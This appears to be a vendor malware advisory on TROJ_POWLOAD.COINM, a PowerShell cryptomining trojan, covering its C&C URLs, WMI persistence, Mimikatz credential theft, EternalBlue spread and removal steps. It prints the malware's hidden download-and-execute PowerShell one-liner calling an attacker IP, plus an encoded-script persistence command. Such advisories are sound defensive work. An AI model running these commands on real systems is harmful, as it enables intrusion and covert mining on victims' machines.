Analysis by: Nikko Tamana
ALIASES:

Trojan.PowerShell.Agent.N (Bitdefender)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to certain URLs. It may do this to remotely inform a malicious user of its installation. It may also do this to download possibly malicious files onto the computer, which puts the computer at a greater risk of infection by other threats.

  TECHNICAL DETAILS

File Size: 3,766,940 bytes
File Type: PS1
Memory Resident: Yes
Initial Samples Received Date: 11 Dec 2017
Payload: Connects to URLs/IPs, Deletes files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following malicious URLs:

  • http://{BLOCKED}7.{BLOCKED}9.67.243:8000
  • http://{BLOCKED}2.{BLOCKED}7.116.8:8000
  • http://{BLOCKED}8.{BLOCKED}4.48.95:8000

NOTES:
If affected machine is 64-bit, it downloads and executes the following in the accessed C&C:

  • http://{C&C Address}/in6.ps1
It creates the following WMI Class:
  • Office_Updater
It stores the encoded files, script and shell code in the properties of created WMI Class.

It performs coinmining by connecting to the following coinmining pool with the following arguments:
  • -o {URL of mining server} -u {username for mining server} -p {password for mining server}
Where:

{username for mining server} = 49WZduVQ1DFWG3scZxFT8hBY1JsoYuJVqMRe8UAiYzc2WmGbN7yFDmmc2GZzrAv6GkY24hR7imhNaWME9wEKWPGF3h2FXQB

{password for mining server} = x

{URL of mining server} =
  • stratum+tcp://{BLOCKED}1.{BLOCKED}ol.org:14444
  • stratum+tcp://{BLOCKED}2.{BLOCKED}ol.org:14444
  • stratum+tcp://{BLOCKED}-east1.{BLOCKED}ol.org:14444
  • stratum+tcp://{BLOCKED}-west1.{BLOCKED}ol.org:14444
  • stratum+tcp://{BLOCKED}ia1.{BLOCKED}ol.org:14444
  • stratum+tcp://{BLOCKED}e.{BLOCKED}pool.com:80
  • stratum+tcp://{BLOCKED}e.{BLOCKED}l.net:80
It attempts to retrieve affected machine's user credentials using Mimikatz component.

It scans for network connections in the affected machines.

It checks if scanned network connection can be accessed by gathered user credentials. If the connection is successful, it will execute a PowerShell command using the following URL:
  • http://{BLOCKED}7.{BLOCKED}9.67.243:8000/in6.ps1 - If scanned network connection uses 64-bit operating system
  • http://{BLOCKED}2.{BLOCKED}7.116.8:8000/in6.ps1 - If scanned network connection uses 64-bit operating system
  • http://{BLOCKED}8.{BLOCKED4.48.95:8000/in6.ps1 - If scanned network connection uses 64-bit operating system
  • http://{BLOCKED}7.{BLOCKED}9.67.243:8000/in3.ps1 - If scanned network connection uses 32-bit operating system
  • http://{BLOCKED}2.{BLOCKED}7.116.8:8000/in3.ps1 - If scanned network connection uses 32-bit operating system
  • http://{BLOCKED}8.{BLOCKED}4.48.95:8000/in3.ps1 - If scanned network connection uses 32-bit operating system
The said URLs are already inaccessible.

If network connection cannot be accessed using Mimikatz generated credentials, it will attempt to perform EternalBlue exploit in the scanned network connections.

Once exploit attempt is successful, the following command prompt will be executed on the vulnerable machine via shell code:
  • cmd /c powershell -nop -noni -w hidden "$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains('SCM Event Logs')))) {IEX(New-Object Net.WebClient).DownloadString('http://{BLOCKED}7.{BLOCKED}9.67.243:8000/ma3.ps1 ')}" - For 32-bit operating systems
  • cmd /c powershell -nop -noni -w hidden "$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains('SCM Event Logs')))) {IEX(New-Object Net.WebClient).DownloadString('http://{BLOCKED}7.{BLOCKED}9.67.243:8000/ma6.ps1 ')}" - For 64-bit operating systems
The downloaded and executed files are also detected as TROJ_POWLOAD.COINM.

It creates the following WMI Class to enable its automatic execution:
  • CommandLineEventConsumer
  • __EventFilter
  • __FilterToConsumerBinding
Which executes the following PowerShell command:
  • powershell.exe -NoP -NonI -W Hidden -E {encoded script}
It deletes the following scheduled tasks:
  • yastcat
It deletes the following files:
  • %User Temp%\y1.bat
It modifies power configuration as the following:
  • Standby timeout to 0 minutes
  • Hibernate timeout to 0 minutes
  • Set lid close action/pushing power button to do nothing

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 13.836.07
FIRST VSAPI PATTERN DATE: 11 Dec 2017
VSAPI OPR PATTERN File: 13.837.00
VSAPI OPR PATTERN Date: 12 Dec 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as TROJ_POWLOAD.COINM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

NOTES:
Restore power configuration in Control Panel according to user preference.

Execute the following in command prompt to remove the created WMI instances:

  • powershell.exe Get-WMIObject -Namespace root\Subscription -Class __EventFilter -filter Name= 'SCM Event Logs Filter' | remove-WMIObject
  • powershell.exe Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter Name='SCM Event Logs Consumer' | remove-WMIObject
  • powershell.exe Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter __Path LIKE '%SCM Event Logs Consumer%' | remove-WMIObject
  • powershell.exe ([WmiClass]'root\default:Office_Updater') | Remove-WMIObject


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